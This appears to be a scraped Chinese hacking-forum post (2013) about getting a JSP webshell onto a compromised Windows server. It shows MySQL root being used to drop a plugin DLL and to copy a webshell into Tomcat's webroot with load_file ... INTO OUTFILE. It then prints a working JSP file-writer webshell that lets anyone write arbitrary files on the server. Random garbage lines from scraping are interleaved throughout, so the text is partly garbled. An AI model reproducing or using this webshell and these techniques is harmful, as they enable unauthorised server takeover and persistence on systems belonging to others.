中国网络渗透测试联盟
标题:
解决Win下MySQL root导出Webshell换行符问题
[打印本页]
作者:
admin
时间:
2013-3-8 21:52
标题:
解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
7 u9 b+ u! K d" \8 m# i, D
R$ K2 y: T& `( T3 B) z7 u- T
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
0 n/ U8 ~! z! O) ~1 L( j
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
4 r5 }. p& |0 w
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
( v* u" H @2 P1 i+ R
1 show variables like '%plugin%';
/ f# N, O+ {% q( T8 u) n
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
; t1 n N' h$ \
创建自定义函数似乎被拦截,一直失败。
/ L7 [6 ]2 d5 F; `( {# @1 R6 d& K
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
! P9 [( x" _( ?6 U3 g& w
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
( U( x) k' |3 a! q
用mysql执行语句:
) q: h7 E7 w+ I: `6 j# v5 h
1 select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
6 O* R3 x$ H+ C7 t; N
2 复制代码
+ R/ C, c& ^* g3 I# e
后成功。
+ r; @& O+ o& J$ B4 l6 {1 y& r" g
但是访问后得到如下提示:
/ s' T5 B1 O0 i1 \: v( C3 F( T6 s$ u
500页面
* m0 ^4 L p6 P; ?- c7 F7 ^+ }
( ~5 Y( B/ s8 _" e
) K# L; F* ?. r
明显是MySQL的Win下版本自动添加转义符\n\r了
2 F. b7 s7 _) n! `
这样导致程序运行的悲剧。
+ p4 d, E, Z9 L/ r! ?
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
8 M- R- g3 t* J, Z% `+ r& f) l* m' p$ ^
最后弄了这么个小脚本:
. {3 N* [1 R3 w/ z4 K
01 <%@ page language="java" pageEncoding="gbk"%>
7 y! ~0 X3 c. Y5 m _/ {* H+ A
02 <jsp:directive.page import="java.io.File"/>
1 ~0 ^0 ]& x8 v7 Y% ]
03 <jsp:directive.page import="java.io.OutputStream"/>
( [8 s3 p! p' N0 q
04 <jsp:directive.page import="java.io.FileOutputStream"/>
& y# q( s3 |. K1 L% o+ l
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
( r" M! Q; h: f- w, N( R
06 error
www.2cto.com
5 |, M: h+ p4 v5 Q
07 <%}}if(i==0){%>
4 e# J) K0 ?4 B7 i
08 ok
7 B3 A0 I7 z' h
09 <%}%>
+ f4 o, n' x$ U" M+ j
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
% q+ B7 Y$ S; x3 m9 L- [# h% n+ L
就可以避免转义符让JSP的马儿运行500错误了。
1 a% {4 _ z$ b% L, E7 A$ }
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2